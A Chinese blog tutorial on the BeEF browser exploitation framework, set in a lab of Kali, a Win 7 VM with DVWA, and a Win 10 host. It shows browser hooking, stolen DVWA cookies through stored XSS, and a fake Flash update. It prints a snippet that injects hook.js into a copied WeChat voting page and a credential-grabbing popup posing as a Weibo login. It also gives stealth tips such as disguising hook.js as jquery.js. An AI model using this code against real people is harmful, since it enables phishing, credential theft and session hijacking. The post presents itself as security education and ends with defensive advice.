Kali渗透-BeEF浏览器渗透框架

前言

严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

本文目的

演示如何借助 Kali Linux 系统内置的 BeEF 渗透框架,通过一段编制好的JS代码控制目标主机 Win 7 虚拟机的浏览器,进而进行社会工程学攻击(发送钓鱼网页盗窃账户密码、恶意程序发送等)和其他攻击,同时演示借助 Win 7上搭建的DVWA靶场的存储型XSS漏洞自动触发JS攻击脚本(获取Cookie)。

环境说明

主机 IP地址 角色
Win 7 虚拟机 192.168.249.198 靶机,搭建DVWA
Kali Linux 虚拟机 192.168.249.199 攻击机,使用BeEF
Win 10 物理机 192.168.0.198 BeEF 获取到 Cookie 后尝试免密登陆 DVWA

两台虚拟主机均安装在 VMware 中,使用 Nat 模式形成一个可以互相连通的小局域网。

BeEF

BeEF(全称The Browser Exploitation Framework),是一款针对浏览器的渗透测试工具。 BeEF是前欧美最流行的Web框架攻击平台,kali Linux 集成了Beef 框架,它主要用于实现对XSS漏洞的攻击和利用

基本原理

BeEF主要是往受害者浏览器(被称为“zombie”-僵尸)的网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。
在这里插入图片描述

BeEF服务器本质上就 像一个Web应用,被分为前端(用户的浏览器)和后端(攻击者浏览器界面控制)。 BeEF持有者可以通过浏览器来登录 BeEF 的后端,进而控制受害者的浏览器。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送数据。

BeEF框架具体的原理可拜读 GitHub源码:https://github.com/beefproject/beef

参数配置

kali默认已经安装了BeeF,其配置文件在 /usr/share/beef-xss/config.yaml,可以直接保持默认不动即可,具体内容如下:

permitted_hooking_subnet: "0.0.0.0/0"     #指定某个网段,只有在这个网段的浏览器才能被hook
permitted_ui_subnet: "0.0.0.0/0"          #指定某个网段,只有在这个网段的浏览器才能访问管理UI
                            #上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置
host: "0.0.0.0"                           #设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
port: "3000"                              #设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
xhr_poll_timeout: 1000                    #受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
public: ""                                #public hostname/IP address 
public_port: ""                           #experimental 
                            # 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。 
web_ui_basepath: "/ui"                    #管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
hook_file: "/hook.js"                     #hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
credentials: user: "beef" passwd: "beef"  #管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的

PC攻击

下面将演示如何利用 Kali 内置的 BeEF 框架发动对 Win 7 虚拟主机的攻击。

默认网页

1、直接点击 BeEF 程序图标或者在终端执行命令./beef开始运行 BeEF,加载完会自动打开浏览器管理界面:
在这里插入图片描述2、登陆后后台管理页面如下:
在这里插入图片描述3、咱们先在 Kali 攻击机点击上述页面指引的low级别的用于攻击恶意链接ip:端口/demos/basic.html看看:
在这里插入图片描述
4、此时本地主机便上钩了,可以查看其系统信息(如何开展攻击后面再说),如下图所示:
在这里插入图片描述5、上面的攻击链接太粗糙了……我们点击平台给出的“高级恶意链接”ip:端口/demos/butcher/index.html瞅瞅,果然做得像样点了,如下图所示:
在这里插入图片描述6、攻击自己的 Kali 主机没意思……拿台 Win 7 虚拟机来试试,直接在其浏览器访问以上钓鱼链接:
在这里插入图片描述7、此时即可在 Kali 攻击机的 BeEF 后台看到 Win 7 主机上钩了:
在这里插入图片描述至此已经看到如何用 BeEF 提供的网页链接让目标主机上钩了,那么攻击者能不能自己构造钓鱼链接呢?同时钓鱼成功后如何进一步“宰鱼”(攻击)呢?下一个模块演示。

伪造网页

1、在 Win 7 虚拟机编辑一个简单的Beef.html页面如下:
在这里插入图片描述
2、先清除掉 Kali 攻击机刚才已上钩主机的信息:
在这里插入图片描述
清除后如下:
在这里插入图片描述
3、使用浏览器打开 Win 7 虚拟机刚才编辑并保存在本地的Beef.html页面:
在这里插入图片描述
4、此时 Kali 攻击机依然可以看到 Win 7 主机已上钩:
在这里插入图片描述5、下面演示对上钩的主机的进一步攻击利用,首先点击 Commands 功能页,会列出12个可利用的攻击模块:
在这里插入图片描述【说明】BeEF会自动检测出哪些命令模块可以在当前受害者的浏览器工作, 并用颜色区分:

颜色 含义
绿色 命令模块可以在目标浏览器上运行,且用户不会感到任何异常
橙色 命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转等)
灰色 命令模块尚未针对此目标进行验证,即不知道能否可运行
红色 命令模块不适用于此目标

6、下面演示步骤5的图中所示的社工攻击手段——“凭证窃取”,它将向受害者浏览器发送钓鱼网页,如下图所示:
在这里插入图片描述
7、用户输入账号密码后将被记录并窃取,返回 Kali 主机管理后台可查看:
在这里插入图片描述
8、再继续演示一个社工攻击手段——“伪造 Flash 升级”,让受害者下载攻击者指定的文件:
在这里插入图片描述
9、执行攻击,Win 7受害主机看到的页面如下:
在这里插入图片描述10、点击安装按钮,将下载攻击者指定的文件,如下图所示:
在这里插入图片描述篇幅所限,其他攻击此处暂时不做演示了,自行阅读攻击手段的具体描述即可。

【说明】此处演示时将自定义 Hook 页面保存在 Win 7 虚拟机本地,实际的攻击场景中我们可以在 Kali 攻击机搭建 Web服务(如自带的Apache服务),然后将页面部署在网站根目录下,即可在其他主机访问。

XSS利用

BeEF 框架主要就是结合 XSS漏洞进行攻击的,下面演示如何让其成为 XSS平台。

1、首先在 Win 7 虚拟机上搭建 DVWA 靶场(如何搭建请阅读:Windows下轻松搭建DVWA测试环境),搭建后访问的页面如下:
在这里插入图片描述2、登录DVWA并设置安全模式为 Low 级别,在存储型XSS漏洞模块插入以下代码:
在这里插入图片描述3、保存以上留言板内容并刷新页面,触发XSS,此时可以在 Kali 攻击机上看到 Win 7 靶机又上钩了,点击获取当前DVWA的Cookie:
在这里插入图片描述
4、获取到Cookie后,在 Win 10 物理机里面借助 HackBar 火狐插件,试一下能否不通过密码直接登录 DVWA的主页面,如下图所示:
在这里插入图片描述5、结果成功访问 DVWA 的主页面:
在这里插入图片描述
6、最后,为了试一下如果没利用XSS漏洞执行hook.js代码(即假设受害主机访问的网站并没有XSS漏洞的话),BeEF 能否获取到受害者主机正在访问的网站的 Cookie呢?先删除刚才 DVWA 中插入恶意代码的留言,然后使用前面准备的本地恶意网页使得 Win 7 主机上钩:
在这里插入图片描述7、此时 Kali 攻击机中 BeEF 获取到的 Cookie 并不包含 DVWA 站点的 Cookie,说明只要站点没有XSS漏洞则 BeEF 无法获取Cookie:
在这里插入图片描述
自此,你还敢轻视XSS漏洞的危害吗?Cookie被窃取后相当于鬼子进村了。

【说明】跟BeEF一样可以用来作为XSS漏洞的利用平台有很多,比如公网可以直接使用的XSS免费平台,使用教程可参考XSS平台的使用与实战

攻击进阶

从上面可以看出,在 BeEF 的攻击过程中,只要受害者关闭了钓鱼页面,攻击机马上会失去会话、丧失控制权。为此 BeEF 也给出了几种权限的维护的方式来避免受害者迅速关闭钓鱼网页而失去控制,然而这几种方式作用并不大……但也学习下讲一讲吧。

在介绍如何维权之前,先再来补充另外两个有趣的攻击方式——播放声音页面跳转

1、此处使用 Win 10 物理机作为靶机,访问钓鱼网页后让其播放指定的声音(如果你企图在别人开会或上课时恶作剧的话……):
在这里插入图片描述2、点击执行,靶机浏览器会自动播放声音(但也有可能被浏览器自动阻止播放音频):
在这里插入图片描述3、接下来,播放完声音,让受害者的页面自动跳转到“不良”网页吧,但注意跳转后攻击机也会失去对靶机的控制权:
在这里插入图片描述4、执行后看看跳转效果:
在这里插入图片描述
BeEF 提供了以下五种企图维护权限的功能,但实际上都作用不大……下面挑两个出来演示:
在这里插入图片描述
1、Create Pop Under 模块,通过重新打开一个独立浏览器窗口,企图维持受害者持续在线的状态(弹窗太显眼了……,免不了被受害者关闭):
在这里插入图片描述而实际上浏览器可能会自动拦截弹窗……手动点击允许弹出后如下:
在这里插入图片描述在这里插入图片描述
2、Confirm Close Tab 模块,当用户关闭当前页面时,反复弹出弹窗让用户确认是否关闭当前页面的消息:
在这里插入图片描述
然而实际上在火狐浏览器体验了一下,只会执行一次弹窗阻止就可关掉了(多争取一秒是一秒吧)……
在这里插入图片描述可见,当你打开某网站发现其来者不善,还是尽快溜为上策……

手机攻击

BeEF 还有专门针对手机的攻击模块,下面来学习一下 —— 如何对上面社工攻击的密码窃取进行升级改造(前面太粗糙了,是个人都不会上当……),从而可以再微信成功制造钓鱼网站,窃取用户账号密码。

微信投票

1、在微信随便找个投票链接:
在这里插入图片描述
2、在 Kali 中将该投票链接保存 ClearSky.html文件,存储路径为usr/share/beef-xss/extensions/demos/html(该路径存储了 BeEF 默认的钓鱼网页):
在这里插入图片描述3、为了让受害者访问该网页后会被 hook 到,需要编辑 ClearSky.html文件并添加以下两行代码:

var commandModuleStr = '<script src="' + window.location.protocol + '//' + window.location.host + '/hook.js" type="text/javascript"><\/script>';
document.write(commandModuleStr);

如下图所示:
在这里插入图片描述4、此时启动 BeEF 框架,在 Win 10 物理机访问上述钓鱼网页:
在这里插入图片描述

5、此时可以在 Kali 中看到 Win 10 物理机已经上钩:
在这里插入图片描述6、接下来构造一个比较逼真的社工登录弹框,BeEF自带的太粗糙了……, 修改弹出对话框样式,需要找到usr/share/beef-xss/modules/social_engineering/pretty_theft/command.js文件,如下图所示:
在这里插入图片描述选择并替换掉 yammer 弹框样式的具体代码:
在这里插入图片描述此处附上具体代码:

function yammer() {
 
        sneakydiv = document.createElement('div');
        sneakydiv.setAttribute('id', 'popup');
        sneakydiv.setAttribute('style', 'position:absolute; top:30%; left:2%; z-index:51; background-color:ffffff;');
        document.body.appendChild(sneakydiv);
 
        // Set appearance using styles, maybe cleaner way to do this with CSS block?
        var windowborder = 'style="width:330px;background:white;border:10px #999999 solid;border-radius:8px"';
        var windowmain = 'style="border:1px #555 solid;"';
        var tbarstyle = 'style="color: rgb(255, 255, 255); background-color: rgb(255, 102, 0);font-size: 13px;font-family:tahoma,verdana,arial,sans-serif;font-weight: bold;padding: 5px;padding-left:8px;text-align: left;height: 18px;"';
        var bbarstyle = 'style="color: rgb(0, 0, 0);background-color: rgb(242, 242, 242);padding: 8px;text-align: right;border-top: 1px solid rgb(198, 198, 198);height:28px;margin-top:10px;"';
        var messagestyle = 'style="align:left;font-size:11px;font-family:tahoma,verdana,arial,sans-serif;margin:10px 15px;line-height:12px;height:40px;"';
        var box_prestyle = 'style="color: grey;font-size: 11px;font-weight: bold;font-family: tahoma,verdana,arial,sans-serif;padding-left:30px;"';
        var inputboxstyle = 'style="width:140px;font-size: 11px;height: 20px;line-height:20px;padding-left:4px;border-style: solid;border-width: 1px;border-color: rgb(255,102,0);"'; 
        var buttonstyle = 'style="font-size: 13px;background:#ff6600;color:#fff;font-weight:bold;border: 1px #29447e solid;padding: 3px 3px 3px 3px;clear:both;margin-right:5px;"';
 
        var title = '微博手机版安全登录';
        var messagewords = '请输入您的用户名密码登录后进行投票。<br/><br/>我们将对您的投票信息严格保密。';
        var buttonLabel = '<input type="button" name="ok" value="登录" id="ok" ' +buttonstyle+ 'onClick="document.getElementById(\'buttonpress\').value=\'true\'" onMouseOver="this.bgColor=\'#00CC00\'" onMouseOut="this.bgColor=\'#009900\'" bgColor=#009900>';
 
        // Build page including styles
        sneakydiv.innerHTML= '<div id="window_container" '+windowborder+ '><div id="windowmain" '+windowmain+ '><div id="title_bar" ' +tbarstyle+ '>' +title+ '</div><p id="message" ' +messagestyle+ '>' + messagewords + '</p><table><tr><td align="right"> <div id="box_pre" ' +box_prestyle+ '>邮箱/会员帐号/手机号: </div></td><td align="left"><input type="text" id="uname" value="" οnkeydοwn="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr><tr><td align="right"><div id="box_pre" ' +box_prestyle+ '>密码: </div></td><td align="left"><input type="password" id="pass" name="pass" οnkeydοwn="if (event.keyCode == 13) document.getElementById(\'buttonpress\').value=\'true\'"' +inputboxstyle+ '/></td></tr></table>' + '<div id="bottom_bar" ' +bbarstyle+ '>' +buttonLabel+ '<input type="hidden" id="buttonpress" name="buttonpress" value="false"/></div></div></div>';
 
        // Repeatedly check if button has been pressed
        credgrabber = setInterval(checker,1000);
     }

7、保存以后选择对于的弹框攻击:
在这里插入图片描述8、此时 Win 10物理机弹出的弹框效果如下:
在这里插入图片描述

网络钓鱼

1、以上恶意钓鱼链接如果是手机端打开的话(也是直接访问http://192.168.0.211:3000/demos/ClearSky.html),变成如下效果:
在这里插入图片描述
2、当然了,当你上当受骗输入密码以后,结果就是密码被盗了(看到这里,我想以后你肯定会对微信上各种投票链接长点心眼了吧……):
在这里插入图片描述

3、BeEF框架还提供了专门对手机进行攻击的模块(其他PC端的攻击模块对手机也是通用的),然而个人实践后觉得并没卵用……
在这里插入图片描述

自动执行

通常情况下,受害者打开设定的 BeEF 钓鱼网址持续的时间都很短,但关闭当前页面后 BeEF 的 Shell 就会下线,攻击者可以使用 BeEF API,使得用户上线后能够自动执行批量命令。读者可参考一篇大佬的博文:利用BeEF REST API自动化控制僵尸主机 ,此处篇幅所限不深入介绍了。

后续将有一篇单独的博文介绍在内网环境下内网,使用中间人攻击工具MITMf基于 ARP 欺骗自动劫持勾住内网目标主机的浏览器。

总结

废话少说,注意两个事情:

  1. 不要轻易打开微信、微博、QQ、邮箱等来路不明的链接,更不要轻易输入账号密码;
  2. 重视XSS漏洞的危害性,你的Cookie往往在不知不觉之中就被攻击者盗取。

最后……本文仅限于技术讨论与分享,严禁用于非法途径。

发布了133 篇原创文章 · 获赞 118 · 访问量 12万+

猜你喜欢

转载自blog.csdn.net/weixin_39190897/article/details/104727883
今日推荐